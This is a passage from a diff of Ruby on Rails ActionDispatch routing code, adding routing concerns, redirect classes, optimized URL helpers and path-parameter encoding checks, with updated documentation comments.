-              "#{@scope[:shallow_path]}/#{parent_resource.path}/:id" : @scope[:path]
+              "#{@scope[:shallow_path]}/#{parent_resource.shallow_scope}" : @scope[:path]
 
-            path = if canonical_action?(action, path.blank?)
+            if canonical_action?(action, path.blank?)
               prefix.to_s
             else
               "#{prefix}/#{action_path(action, path)}"
@@ -1421,8 +1533,7 @@ module ActionDispatch
           end
 
           def action_path(name, path = nil) #:nodoc:
-            # Ruby 1.8 can't transform empty strings to symbols
-            name = name.to_sym if name.is_a?(String) && !name.empty?
+            name = name.to_sym if name.is_a?(String)
             path || @scope[:path_names][name] || name.to_s
           end
 
@@ -1461,20 +1572,69 @@ module ActionDispatch
               [name_prefix, member_name, prefix]
             end
 
-            candidate = name.select(&:present?).join("_").presence
-            candidate unless as.nil? && @set.routes.find { |r| r.name == candidate }
+            if candidate = name.select(&:present?).join("_").presence
+              # If a name was not explicitly given, we check if it is valid
+              # and return nil in case it isn't. Otherwise, we pass the invalid name
+              # forward so the underlying router engine treats it and raises an exception.
+              if as.nil?
+                candidate unless @set.routes.find { |r| r.name == candidate } || candidate !~ /\A[_a-z]/i
+              else
+                candidate
+              end
+            end
           end
       end
 
-      module Shorthand #:nodoc:
-        def match(path, *rest)
-          if rest.empty? && Hash === path
-            options  = path
-            path, to = options.find { |name, value| name.is_a?(String) }
-            options.merge!(:to => to).delete(path)
-            super(path, options)
-          else
-            super
+      # Routing Concerns allows you to declare common routes that can be reused
+      # inside others resources and routes.
+      #
+      #   concern :commentable do
+      #     resources :comments
+      #   end
+      #
+      #   concern :image_attachable do
+      #     resources :images, only: :index
+      #   end
+      #
+      # These concerns are used in Resources routing:
+      #
+      #   resources :messages, concerns: [:commentable, :image_attachable]
+      #
+      # or in a scope or namespace:
+      #
+      #   namespace :posts do
+      #     concerns :commentable
+      #   end
+      module Concerns
+        # Define a routing concern using a name.
+        #
+        #   concern :commentable do
+        #     resources :comments
+        #   end
+        #
+        # Any routing helpers can be used inside a concern.
+        def concern(name, &block)
+          @concerns[name] = block
+        end
+
+        # Use the named concerns
+        #
+        #   resources :posts do
+        #     concerns :commentable
+        #   end
+        #
+        # concerns also work in any routes helper that you want to use:
+        #
+        #   namespace :posts do
+        #     concerns :commentable
+        #   end
+        def concerns(*names)
+          names.flatten.each do |name|
+            if concern = @concerns[name]
+              instance_eval(&concern)
+            else
+              raise ArgumentError, "No concern named #{name} was found!"
+            end
           end
         end
       end
@@ -1482,14 +1642,15 @@ module ActionDispatch
       def initialize(set) #:nodoc:
         @set = set
         @scope = { :path_names => @set.resources_path_names }
+        @concerns = {}
       end
 
       include Base
       include HttpHelpers
       include Redirection
       include Scoping
+      include Concerns
       include Resources
-      include Shorthand
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
index e989a38d8b..3d7b8878b8 100644
--- a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
+++ b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
@@ -1,3 +1,5 @@
+require 'action_controller/model_naming'
+
 module ActionDispatch
   module Routing
     # Polymorphic URL helpers are methods for smart resolution to a named route call when
@@ -43,18 +45,18 @@ module ActionDispatch
     #   edit_polymorphic_path(@post)              # => "/posts/1/edit"
     #   polymorphic_path(@post, :format => :pdf)  # => "/posts/1.pdf"
     #
-    # == Using with mounted engines
-    #
-    # If you use mounted engine, there is a possibility that you will need to use
-    # polymorphic_url pointing at engine's routes. To do that, just pass proxy used
-    # to reach engine's routes as a first argument:
+    # == Usage with mounted engines
     #
-    # For example:
+    # If you are using a mounted engine and you need to use a polymorphic_url
+    # pointing at the engine's routes, pass in the engine's route proxy as the first
+    # argument to the method. For example:
     #
-    # polymorphic_url([blog, @post])  # it will call blog.post_path(@post)
-    # form_for([blog, @post])         # => "/blog/posts/1
+    #   polymorphic_url([blog, @post])  # calls blog.post_path(@post)
+    #   form_for([blog, @post])         # => "/blog/posts/1"
     #
     module PolymorphicRoutes
+      include ActionController::ModelNaming
+
       # Constructs a call to a named RESTful route for the given record and returns the
       # resulting URL string. For example:
       #
@@ -97,7 +99,7 @@ module ActionDispatch
         end
 
         record = extract_record(record_or_hash_or_array)
-        record = record.to_model if record.respond_to?(:to_model)
+        record = convert_to_model(record)
 
         args = Array === record_or_hash_or_array ?
           record_or_hash_or_array.dup :
@@ -124,6 +126,8 @@ module ActionDispatch
           args.last.kind_of?(Hash) ? args.last.merge!(url_options) : args << url_options
         end
 
+        args.collect! { |a| convert_to_model(a) }
+
         (proxy || self).send(named_route, *args)
       end
 
@@ -165,7 +169,7 @@ module ActionDispatch
               if parent.is_a?(Symbol) || parent.is_a?(String)
                 parent
               else
-                ActiveModel::Naming.route_key(parent).singularize
+                model_name_from_record_or_class(parent).singular_route_key
               end
             end
           else
@@ -176,9 +180,11 @@ module ActionDispatch
           if record.is_a?(Symbol) || record.is_a?(String)
             route << record
           elsif record
-            route << ActiveModel::Naming.route_key(record)
-            route = [route.join("_").singularize] if inflection == :singular
-            route << "index" if ActiveModel::Naming.uncountable?(record) && inflection == :plural
+            if inflection == :singular
+              route << model_name_from_record_or_class(record).singular_route_key
+            else
+              route << model_name_from_record_or_class(record).route_key
+            end
           else
             raise ArgumentError, "Nil location provided. Can't build URI."
           end
diff --git a/actionpack/lib/action_dispatch/routing/redirection.rb b/actionpack/lib/action_dispatch/routing/redirection.rb
index 804991ad5f..205ff44b1c 100644
--- a/actionpack/lib/action_dispatch/routing/redirection.rb
+++ b/actionpack/lib/action_dispatch/routing/redirection.rb
@@ -1,7 +1,99 @@
 require 'action_dispatch/http/request'
+require 'active_support/core_ext/uri'
+require 'active_support/core_ext/array/extract_options'
+require 'rack/utils'
+require 'action_controller/metal/exceptions'
 
 module ActionDispatch
   module Routing
+    class Redirect # :nodoc:
+      attr_reader :status, :block
+
+      def initialize(status, block)
+        @status = status
+        @block  = block
+      end
+
+      def call(env)
+        req = Request.new(env)
+
+        # If any of the path parameters has a invalid encoding then
+        # raise since it's likely to trigger errors further on.
+        req.symbolized_path_parameters.each do |key, value|
+          unless value.valid_encoding?
+            raise ActionController::BadRequest, "Invalid parameter: #{key} => #{value}"
+          end
+        end
+
+        uri = URI.parse(path(req.symbolized_path_parameters, req))
+        uri.scheme ||= req.scheme
+        uri.host   ||= req.host
+        uri.port   ||= req.port unless req.standard_port?
+
+        body = %(<html><body>You are being <a href="#{ERB::Util.h(uri.to_s)}">redirected</a>.</body></html>)
+
+        headers = {
+          'Location' => uri.to_s,
+          'Content-Type' => 'text/html',
+          'Content-Length' => body.length.to_s
+        }
+
+        [ status, headers, [body] ]
+      end
+
+      def path(params, request)
+        block.call params, request
+      end
+
+      def inspect
+        "redirect(#{status})"
+      end
+    end
+
+    class PathRedirect < Redirect
+      def path(params, request)
+        (params.empty? || !block.match(/%\{\w*\}/)) ? block : (block % escape(params))
+      end
+
+      def inspect
+        "redirect(#{status}, #{block})"
+      end
+
+      private
+        def escape(params)
+          Hash[params.map{ |k,v| [k, Rack::Utils.escape(v)] }]
+        end
+    end
+
+    class OptionRedirect < Redirect # :nodoc:
+      alias :options :block
+
+      def path(params, request)
+        url_options = {
+          :protocol => request.protocol,
+          :host     => request.host,
+          :port     => request.optional_port,
+          :path     => request.path,
+          :params   => request.query_parameters
+        }.merge options
+
+        if !params.empty? && url_options[:path].match(/%\{\w*\}/)
+          url_options[:path] = (url_options[:path] % escape_path(params))
+        end
+
+        ActionDispatch::Http::URL.url_for url_options
+      end
+
+      def inspect
+        "redirect(#{status}, #{options.map{ |k,v| "#{k}: #{v}" }.join(', ')})"
+      end
+
+      private
+        def escape_path(params)
+          Hash[params.map{ |k,v| [k, URI.parser.escape(v)] }]
+        end
+    end
+
     module Redirection
 
       # Redirect any path to another path:
@@ -19,10 +111,13 @@ module ActionDispatch
       # params, depending of how many arguments your block accepts. A string is required as a
       # return value.
       #
-      #   match 'jokes/:number', :to => redirect do |params, request|
-      #     path = (params[:number].to_i.even? ? "/wheres-the-beef" : "/i-love-lamp")
+      #   match 'jokes/:number', :to => redirect { |params, request|
+      #     path = (params[:number].to_i.even? ? "wheres-the-beef" : "i-love-lamp")
       #     "http://#{request.host_with_port}/#{path}"
-      #   end
+      #   }
+      #
+      # Note that the +do end+ syntax for the redirect block wouldn't work, as Ruby would pass
+      # the block to +match+ instead of +redirect+. Use <tt>{ ... }</tt> instead.
       #
       # The options version of redirect allows you to supply only the parts of the url which need
       # to change, it also supports interpolation of the path similar to the first example.
@@ -37,74 +132,17 @@ module ActionDispatch
       #   match 'accounts/:name' => redirect(SubdomainRedirector.new('api'))
       #
       def redirect(*args, &block)
-        options = args.last.is_a?(Hash) ? args.pop : {}
+        options = args.extract_options!
         status  = options.delete(:status) || 301
+        path    = args.shift
 
-        path = args.shift
-
-        path_proc = if path.is_a?(String)
-          proc { |params| (params.empty? || !path.match(/%\{\w*\}/)) ? path : (path % params) }
-        elsif options.any?
-          options_proc(options)
-        elsif path.respond_to?(:call)
-          proc { |params, request| path.call(params, request) }
-        elsif block
-          block
-        else
-          raise ArgumentError, "redirection argument not supported"
-        end
+        return OptionRedirect.new(status, options) if options.any?
+        return PathRedirect.new(status, path) if String === path
 
-        redirection_proc(status, path_proc)
+        block = path if path.respond_to? :call
+        raise ArgumentError, "redirection argument not supported" unless block
+        Redirect.new status, block
       end
-
-      private
-
-        def options_proc(options)
-          proc do |params, request|
-            path = if options[:path].nil?
-              request.path
-            elsif params.empty? || !options[:path].match(/%\{\w*\}/)
-              options.delete(:path)
-            else
-              (options.delete(:path) % params)
-            end
-
-            default_options = {
-              :protocol => request.protocol,
-              :host => request.host,
-              :port => request.optional_port,
-              :path => path,
-              :params => request.query_parameters
-            }
-
-            ActionDispatch::Http::URL.url_for(options.reverse_merge(default_options))
-          end
-        end
-
-        def redirection_proc(status, path_proc)
-          lambda do |env|
-            req = Request.new(env)
-
-            params = [req.symbolized_path_parameters]
-            params << req if path_proc.arity > 1
-
-            uri = URI.parse(path_proc.call(*params))
-            uri.scheme ||= req.scheme
-            uri.host   ||= req.host
-            uri.port   ||= req.port unless req.standard_port?
-
-            body = %(<html><body>You are being <a href="#{ERB::Util.h(uri.to_s)}">redirected</a>.</body></html>)
-
-            headers = {
-              'Location' => uri.to_s,
-              'Content-Type' => 'text/html',
-              'Content-Length' => body.length.to_s
-            }
-
-            [ status, headers, [body] ]
-          end
-        end
-
     end
   end
-end
\ No newline at end of file
+end
diff --git a/actionpack/lib/action_dispatch/routing/route_set.rb b/actionpack/lib/action_dispatch/routing/route_set.rb
index 2bcde16110..32d267d1d6 100644
--- a/actionpack/lib/action_dispatch/routing/route_set.rb
+++ b/actionpack/lib/action_dispatch/routing/route_set.rb
@@ -1,6 +1,5 @@
 require 'journey'
 require 'forwardable'
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/object/to_query'
 require 'active_support/core_ext/hash/slice'
 require 'active_support/core_ext/module/remove_method'
@@ -9,6 +8,12 @@ require 'action_controller/metal/exceptions'
 module ActionDispatch
   module Routing
     class RouteSet #:nodoc:
+      # Since the router holds references to many parts of the system
+      # like engines, controllers and the application itself, inspecting
+      # the route set can actually be really slow, therefore we default
+      # alias inspect to to_s.
+      alias inspect to_s
+
       PARAMETERS_KEY = 'action_dispatch.request.path_parameters'
 
       class Dispatcher #:nodoc:
@@ -20,6 +25,15 @@ module ActionDispatch
 
         def call(env)
           params = env[PARAMETERS_KEY]
+
+          # If any of the path parameters has a invalid encoding then
+          # raise since it's likely to trigger errors further on.
+          params.each do |key, value|
+            unless value.valid_encoding?
+              raise ActionController::BadRequest, "Invalid parameter: #{key} => #{value}"
+            end
+          end
+
           prepare_params!(params)
 
           # Just raise undefined constant errors if a controller was specified as default.
@@ -31,6 +45,7 @@ module ActionDispatch
         end
 
         def prepare_params!(params)
+          normalize_controller!(params)
           merge_default_action!(params)
           split_glob_param!(params) if @glob_param
         end
@@ -66,6 +81,10 @@ module ActionDispatch
           controller.action(action).call(env)
         end
 
+        def normalize_controller!(params)
+          params[:controller] = params[:controller].underscore if params.key?(:controller)
+        end
+
         def merge_default_action!(params)
           params[:action] ||= 'index'
         end
@@ -83,7 +102,27 @@ module ActionDispatch
         attr_reader :routes, :helpers, :module
 
         def initialize
-          clear!
+          @routes  = {}
+          @helpers = []
+          @module  = Module.new do
+            protected
+
+            def handle_positional_args(args, options, segment_keys)
+              inner_options = args.extract_options!
+              result = options.dup
+
+              if args.size > 0
+                keys = segment_keys
+                if args.size < keys.size - 1 # take format into account
+                  keys -= self.url_options.keys if self.respond_to?(:url_options)
+                  keys -= options.keys
+                end
+                result.merge!(Hash[keys.zip(args)])
+              end
+
+              result.merge!(inner_options)
+            end
+          end
         end
 
         def helper_names
@@ -91,12 +130,8 @@ module ActionDispatch
         end
 
         def clear!
-          @routes = {}
-          @helpers = []
-
-          @module ||= Module.new do
-            instance_methods.each { |selector| remove_method(selector) }
-          end
+          @routes.clear
+          @helpers.clear
         end
 
         def add(name, route)
@@ -125,58 +160,13 @@ module ActionDispatch
           routes.length
         end
 
-        def reset!
-          old_routes = routes.dup
-          clear!
-          old_routes.each do |name, route|
-            add(name, route)
-          end
-        end
-
-        def install(destinations = [ActionController::Base, ActionView::Base], regenerate = false)
-          reset! if regenerate
-          Array(destinations).each do |dest|
-            dest.__send__(:include, @module)
-          end
-        end
-
         private
-          def url_helper_name(name, kind = :url)
-            :"#{name}_#{kind}"
-          end
-
-          def hash_access_name(name, kind = :url)
-            :"hash_for_#{name}_#{kind}"
-          end
 
           def define_named_route_methods(name, route)
-            {:url => {:only_path => false}, :path => {:only_path => true}}.each do |kind, opts|
-              hash = route.defaults.merge(:use_route => name).merge(opts)
-              define_hash_access route, name, kind, hash
-              define_url_helper route, name, kind, hash
-            end
-          end
-
-          def define_hash_access(route, name, kind, options)
-            selector = hash_access_name(name, kind)
-
-            # We use module_eval to avoid leaks
-            @module.module_eval <<-END_EVAL, __FILE__, __LINE__ + 1
-              remove_possible_method :#{selector}
-              def #{selector}(*args)
-                options = args.extract_options!
-                result = #{options.inspect}
-
-                if args.any?
-                  result[:_positional_args] = args
-                  result[:_positional_keys] = #{route.segment_keys.inspect}
-                end
-
-                result.merge(options)
-              end
-              protected :#{selector}
-            END_EVAL
-            helpers << selector
+            define_url_helper route, :"#{name}_path",
+              route.defaults.merge(:use_route => name, :only_path => true)
+            define_url_helper route, :"#{name}_url",
+              route.defaults.merge(:use_route => name, :only_path => false)
           end
 
           # Create a url helper allowing ordered parameters to be associated
@@ -192,23 +182,51 @@ module ActionDispatch
           #
           #   foo_url(bar, baz, bang, :sort_by => 'baz')
           #
-          def define_url_helper(route, name, kind, options)
-            selector = url_helper_name(name, kind)
-            hash_access_method = hash_access_name(name, kind)
-
+          def define_url_helper(route, name, options)
             @module.module_eval <<-END_EVAL, __FILE__, __LINE__ + 1
-              remove_possible_method :#{selector}
-              def #{selector}(*args)
-                url_for(#{hash_access_method}(*args))
+              remove_possible_method :#{name}
+              def #{name}(*args)
+                if #{optimize_helper?(route)} && args.size == #{route.required_parts.size} && !args.last.is_a?(Hash) && optimize_routes_generation?
+                  options = #{options.inspect}
+                  options.merge!(url_options) if respond_to?(:url_options)
+                  options[:path] = "#{optimized_helper(route)}"
+                  ActionDispatch::Http::URL.url_for(options)
+                else
+                  url_for(handle_positional_args(args, #{options.inspect}, #{route.segment_keys.inspect}))
+                end
               end
             END_EVAL
-            helpers << selector
+
+            helpers << name
+          end
+
+          # Clause check about when we need to generate an optimized helper.
+          def optimize_helper?(route) #:nodoc:
+            route.requirements.except(:controller, :action).empty?
+          end
+
+          # Generates the interpolation to be used in the optimized helper.
+          def optimized_helper(route)
+            string_route = route.ast.to_s
+
+            while string_route.gsub!(/\([^\)]*\)/, "")
+              true
+            end
+
+            route.required_parts.each_with_index do |part, i|
+              # Replace each route parameter
+              # e.g. :id for regular parameter or *path for globbing
+              # with ruby string interpolation code
+              string_route.gsub!(/(\*|:)#{part}/, "\#{Journey::Router::Utils.escape_fragment(args[#{i}].to_param)}")
+            end
+
+            string_route
           end
       end
 
       attr_accessor :formatter, :set, :named_routes, :default_scope, :router
       attr_accessor :disable_clear_and_finalize, :resources_path_names
-      attr_accessor :default_url_options, :request_class, :valid_conditions
+      attr_accessor :default_url_options, :request_class
 
       alias :routes :set
 
@@ -220,17 +238,7 @@ module ActionDispatch
         self.named_routes = NamedRouteCollection.new
         self.resources_path_names = self.class.default_resources_path_names.dup
         self.default_url_options = {}
-
         self.request_class = request_class
-        @valid_conditions = {}
-
-        request_class.public_instance_methods.each { |m|
-          @valid_conditions[m.to_sym] = true
-        }
-        @valid_conditions[:controller] = true
-        @valid_conditions[:action] = true
-
-        self.valid_conditions.delete(:id)
 
         @append                     = []
         @prepend                    = []
@@ -262,8 +270,7 @@ module ActionDispatch
       def eval_block(block)
         if block.arity == 1
           raise "You are using the old router DSL which has been removed in Rails 3.1. " <<
-            "Please check how to update your routes file at: http://www.engineyard.com/blog/2010/the-lowdown-on-routes-in-rails-3/ " <<
-            "or add the rails_legacy_mapper gem to your Gemfile"
+            "Please check how to update your routes file at: http://www.engineyard.com/blog/2010/the-lowdown-on-routes-in-rails-3/"
         end
         mapper = Mapper.new(self)
         if default_scope
@@ -287,14 +294,15 @@ module ActionDispatch
         @prepend.each { |blk| eval_block(blk) }
       end
 
-      def install_helpers(destinations = [ActionController::Base, ActionView::Base], regenerate_code = false)
-        Array(destinations).each { |d| d.module_eval { include Helpers } }
-        named_routes.install(destinations, regenerate_code)
-      end
-
-      module MountedHelpers
+      module MountedHelpers #:nodoc:
+        extend ActiveSupport::Concern
+        include UrlFor
       end
 
+      # Contains all the mounted helpers accross different
+      # engines and the `main_app` helper for the application.
+      # You can include this in your classes if you want to
+      # access routes for other engines.
       def mounted_helpers
         MountedHelpers
       end
@@ -305,11 +313,11 @@ module ActionDispatch
         routes = self
         MountedHelpers.class_eval do
           define_method "_#{name}" do
-            RoutesProxy.new(routes, self._routes_context)
+            RoutesProxy.new(routes, _routes_context)
           end
         end
 
-        MountedHelpers.class_eval <<-RUBY
+        MountedHelpers.class_eval(<<-RUBY, __FILE__, __LINE__ + 1)
           def #{name}
             @#{name} ||= _#{name}
           end
@@ -320,28 +328,36 @@ module ActionDispatch
         @url_helpers ||= begin
           routes = self
 
-          helpers = Module.new do
+          Module.new do
             extend ActiveSupport::Concern
             include UrlFor
 
+            # Define url_for in the singleton level so one can do:
+            # Rails.application.routes.url_helpers.url_for(args)
             @_routes = routes
             class << self
-              delegate :url_for, :to => '@_routes'
+              delegate :url_for, :optimize_routes_generation?, :to => '@_routes'
             end
+
+            # Make named_routes available in the module singleton
+            # as well, so one can do:
+            # Rails.application.routes.url_helpers.posts_path
             extend routes.named_routes.module
 
-            # ROUTES TODO: install_helpers isn't great... can we make a module with the stuff that
-            # we can include?
-            # Yes plz - JP
+            # Any class that includes this module will get all
+            # named routes...
+            include routes.named_routes.module
+
+            # plus a singleton class method called _routes ...
             included do
-              routes.install_helpers(self)
               singleton_class.send(:redefine_method, :_routes) { routes }
             end
 
+            # And an instance method _routes. Note that
+            # UrlFor (included in this module) add extra
+            # conveniences for working with @_routes.
             define_method(:_routes) { @_routes || routes }
           end
-
-          helpers
         end
       end
 
@@ -353,10 +369,10 @@ module ActionDispatch
         raise ArgumentError, "Invalid route name: '#{name}'" unless name.blank? || name.to_s.match(/^[_a-z]\w*$/i)
 
         path = build_path(conditions.delete(:path_info), requirements, SEPARATORS, anchor)
-        conditions = build_conditions(conditions, valid_conditions, path.names.map { |x| x.to_sym })
+        conditions = build_conditions(conditions, path.names.map { |x| x.to_sym })
 
         route = @set.add_route(app, path, conditions, defaults, name)
-        named_routes[name] = route if name
+        named_routes[name] = route if name && !named_routes[name]
         route
       end
 
@@ -367,25 +383,45 @@ module ActionDispatch
             SEPARATORS,
             anchor)
 
-        Journey::Path::Pattern.new(strexp)
+        pattern = Journey::Path::Pattern.new(strexp)
+
+        builder = Journey::GTG::Builder.new pattern.spec
+
+        # Get all the symbol nodes followed by literals that are not the
+        # dummy node.
+        symbols = pattern.spec.grep(Journey::Nodes::Symbol).find_all { |n|
+          builder.followpos(n).first.literal?
+        }
+
+        # Get all the symbol nodes preceded by literals.
+        symbols.concat pattern.spec.find_all(&:literal?).map { |n|
+          builder.followpos(n).first
+        }.find_all(&:symbol?)
+
+        symbols.each { |x|
+          x.regexp = /(?:#{Regexp.union(x.regexp, '-')})+/
+        }
+
+        pattern
       end
       private :build_path
 
-      def build_conditions(current_conditions, req_predicates, path_values)
+      def build_conditions(current_conditions, path_values)
         conditions = current_conditions.dup
 
-        verbs = conditions[:request_method] || []
-
         # Rack-Mount requires that :request_method be a regular expression.
         # :request_method represents the HTTP verb that matches this route.
         #
         # Here we munge values before they get sent on to rack-mount.
+        verbs = conditions[:request_method] || []
         unless verbs.empty?
           conditions[:request_method] = %r[^#{verbs.join('|')}$]
         end
-        conditions.delete_if { |k,v| !(req_predicates.include?(k) || path_values.include?(k)) }
 
-        conditions
+        conditions.keep_if do |k, _|
+          k == :action || k == :controller ||
+            @request_class.public_method_defined?(k) || path_values.include?(k)
+        end
       end
       private :build_conditions
 
@@ -412,12 +448,12 @@ module ActionDispatch
           normalize_options!
           normalize_controller_action_id!
           use_relative_controller!
-          controller.sub!(%r{^/}, '') if controller
+          normalize_controller!
           handle_nil_action!
         end
 
         def controller
-          @controller ||= @options[:controller]
+          @options[:controller]
         end
 
         def current_controller
@@ -426,9 +462,7 @@ module ActionDispatch
 
         def use_recall_for(key)
           if @recall[key] && (!@options.key?(key) || @options[key] == @recall[key])
-            if named_route_exists?
-              @options[key] = @recall.delete(key) if segment_keys.include?(key)
-            else
+            if !named_route_exists? || segment_keys.include?(key)
               @options[key] = @recall.delete(key)
             end
           end
@@ -470,14 +504,19 @@ module ActionDispatch
         # if the current controller is "foo/bar/baz" and :controller => "baz/bat"
         # is specified, the controller becomes "foo/baz/bat"
         def use_relative_controller!
-          if !named_route && different_controller?
+          if !named_route && different_controller? && !controller.start_with?("/")
             old_parts = current_controller.split('/')
             size = controller.count("/") + 1
             parts = old_parts[0...-size] << controller
-            @controller = @options[:controller] = parts.join("/")
+            @options[:controller] = parts.join("/")
           end
         end
 
+        # Remove leading slashes from controllers
+        def normalize_controller!
+          @options[:controller] = controller.sub(%r{^/}, '') if controller
+        end
+
         # This handles the case of :action => nil being explicitly passed.
         # It is identical to :action => "index"
         def handle_nil_action!
@@ -533,32 +572,44 @@ module ActionDispatch
       end
 
       RESERVED_OPTIONS = [:host, :protocol, :port, :subdomain, :domain, :tld_length,
-                          :trailing_slash, :anchor, :params, :only_path, :script_name]
+                          :trailing_slash, :anchor, :params, :only_path, :script_name,
+                          :original_script_name]
+
+      def mounted?
+        false
+      end
+
+      def optimize_routes_generation?
+        !mounted? && default_url_options.empty?
+      end
 
       def _generate_prefix(options = {})
         nil
       end
 
+      # The +options+ argument must be +nil+ or a hash whose keys are *symbols*.
       def url_for(options)
-        finalize!
-        options = (options || {}).reverse_merge!(default_url_options)
-
-        handle_positional_args(options)
+        options = default_url_options.merge(options || {})
 
         user, password = extract_authentication(options)
-        path_segments  = options.delete(:_path_segments)
-        script_name    = options.delete(:script_name)
+        recall  = options.delete(:_recall)
+
+        original_script_name = options.delete(:original_script_name).presence
+        script_name = options.delete(:script_name).presence || _generate_prefix(options)
 
-        path = (script_name.blank? ? _generate_prefix(options) : script_name.chomp('/')).to_s
+        if script_name && original_script_name
+          script_name = original_script_name + script_name
+        end
 
         path_options = options.except(*RESERVED_OPTIONS)
         path_options = yield(path_options) if block_given?
 
-        path_addition, params = generate(path_options, path_segments || {})
-        path << path_addition
+        path, params = generate(path_options, recall || {})
+        params.merge!(options[:params] || {})
 
-        ActionDispatch::Http::URL.url_for(options.merge({
+        ActionDispatch::Http::URL.url_for(options.merge!({
           :path => path,
+          :script_name => script_name,
           :params => params,
           :user => user,
           :password => password
@@ -566,13 +617,13 @@ module ActionDispatch
       end
 
       def call(env)
-        finalize!
         @router.call(env)
       end
 
       def recognize_path(path, environment = {})
         method = (environment[:method] || "GET").to_s.upcase
         path = Journey::Router::Utils.normalize_path(path) unless path =~ %r{://}
+        extras = environment[:extras] || {}
 
         begin
           env = Rack::MockRequest.env_for(path, {:method => method})
@@ -582,21 +633,27 @@ module ActionDispatch
 
         req = @request_class.new(env)
         @router.recognize(req) do |route, matches, params|
+          params.merge!(extras)
           params.each do |key, value|
             if value.is_a?(String)
-              value = value.dup.force_encoding(Encoding::BINARY) if value.encoding_aware?
+              value = value.dup.force_encoding(Encoding::BINARY)
               params[key] = URI.parser.unescape(value)
             end
           end
-
+          old_params = env[::ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+          env[::ActionDispatch::Routing::RouteSet::PARAMETERS_KEY] = (old_params || {}).merge(params)
           dispatcher = route.app
           while dispatcher.is_a?(Mapper::Constraints) && dispatcher.matches?(env) do
             dispatcher = dispatcher.app
           end
 
-          if dispatcher.is_a?(Dispatcher) && dispatcher.controller(params, false)
-            dispatcher.prepare_params!(params)
-            return params
+          if dispatcher.is_a?(Dispatcher)
+            if dispatcher.controller(params, false)
+              dispatcher.prepare_params!(params)
+              return params
+            else
+              raise ActionController::RoutingError, "A route matches #{path.inspect}, but references missing controller: #{params[:controller].camelize}Controller"
+            end
           end
         end
 
@@ -613,16 +670,6 @@ module ActionDispatch
           end
         end
 
-        def handle_positional_args(options)
-          return unless args = options.delete(:_positional_args)
-
-          keys = options.delete(:_positional_keys)
-          keys -= options.keys if args.size < keys.size - 1 # take format into account
-
-          # Tell url_for to skip default_url_options
-          options.merge!(Hash[args.zip(keys).map { |v, k| [k, v] }])
-        end
-
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/routing/routes_proxy.rb b/actionpack/lib/action_dispatch/routing/routes_proxy.rb
index f7d5f6397d..73af5920ed 100644
--- a/actionpack/lib/action_dispatch/routing/routes_proxy.rb
+++ b/actionpack/lib/action_dispatch/routing/routes_proxy.rb
@@ -16,6 +16,10 @@ module ActionDispatch
         end
       end
 
+      def respond_to?(method, include_private = false)
+        super || routes.url_helpers.respond_to?(method)
+      end
+
       def method_missing(method, *args)
         if routes.url_helpers.respond_to?(method)
           self.class.class_eval <<-RUBY, __FILE__, __LINE__ + 1
diff --git a/actionpack/lib/action_dispatch/routing/url_for.rb b/actionpack/lib/action_dispatch/routing/url_for.rb
index 8fc8dc191b..f4c708ea33 100644
--- a/actionpack/lib/action_dispatch/routing/url_for.rb
+++ b/actionpack/lib/action_dispatch/routing/url_for.rb
@@ -8,7 +8,8 @@ module ActionDispatch
     #
     # <b>Tip:</b> If you need to generate URLs from your models or some other place,
     # then ActionController::UrlFor is what you're looking for. Read on for
-    # an introduction.
+    # an introduction. In general, this module should not be included on its own,
+    # as it is usually included by url_helpers (as in Rails.application.routes.url_helpers).
     #
     # == URL generation from parameters
     #
@@ -42,7 +43,7 @@ module ActionDispatch
     #   url_for(:controller => 'users',
     #           :action => 'new',
     #           :message => 'Welcome!',
-    #           :host => 'www.example.com')        # Changed this.
+    #           :host => 'www.example.com')
     #   # => "http://www.example.com/users/new?message=Welcome%21"
     #
     # By default, all controllers and views have access to a special version of url_for,
@@ -52,7 +53,7 @@ module ActionDispatch
     #
     # For convenience reasons, mailers provide a shortcut for ActionController::UrlFor#url_for.
     # So within mailers, you only have to type 'url_for' instead of 'ActionController::UrlFor#url_for'
-    # in full. However, mailers don't have hostname information, and what's why you'll still
+    # in full. However, mailers don't have hostname information, and that's why you'll still
     # have to specify the <tt>:host</tt> argument when generating URLs in mailers.
     #
     #
@@ -67,7 +68,7 @@ module ActionDispatch
     # This generates, among other things, the method <tt>users_path</tt>. By default,
     # this method is accessible from your controllers, views and mailers. If you need
     # to access this auto-generated method from other places (such as a model), then
-    # you can do that by including ActionController::UrlFor in your class:
+    # you can do that by including Rails.application.routes.url_helpers in your class:
     #
     #   class User < ActiveRecord::Base
     #     include Rails.application.routes.url_helpers
@@ -84,14 +85,12 @@ module ActionDispatch
       include PolymorphicRoutes
 
       included do
-        # TODO: with_routing extends @controller with url_helpers, trickling down to including this module which overrides its default_url_options
         unless method_defined?(:default_url_options)
           # Including in a class uses an inheritable hash. Modules get a plain hash.
           if respond_to?(:class_attribute)
             class_attribute :default_url_options
           else
-            mattr_accessor :default_url_options
-            remove_method :default_url_options
+            mattr_writer :default_url_options
           end
 
           self.default_url_options = {}
@@ -103,6 +102,9 @@ module ActionDispatch
         super
       end
 
+      # Hook overridden in controller to add request information
+      # with `default_url_options`. Application logic should not
+      # go into url_options.
       def url_options
         default_url_options
       end
@@ -130,8 +132,6 @@ module ActionDispatch
       # Any other key (<tt>:controller</tt>, <tt>:action</tt>, etc.) given to
       # +url_for+ is forwarded to the Routes module.
       #
-      # Examples:
-      #
       #    url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :port => '8080'
       #    # => 'http://somehost.org:8080/tasks/testing'
       #    url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :anchor => 'ok', :only_path => true
@@ -142,26 +142,34 @@ module ActionDispatch
       #    # => 'http://somehost.org/tasks/testing?number=33'
       def url_for(options = nil)
         case options
+        when nil
+          _routes.url_for(url_options.symbolize_keys)
+        when Hash
+          _routes.url_for(options.symbolize_keys.reverse_merge!(url_options))
         when String
           options
-        when nil, Hash
-          _routes.url_for((options || {}).reverse_merge(url_options).symbolize_keys)
         else
           polymorphic_url(options)
         end
       end
 
       protected
-        def _with_routes(routes)
-          old_routes, @_routes = @_routes, routes
-          yield
-        ensure
-          @_routes = old_routes
-        end
 
-        def _routes_context
-          self
-        end
+      def optimize_routes_generation?
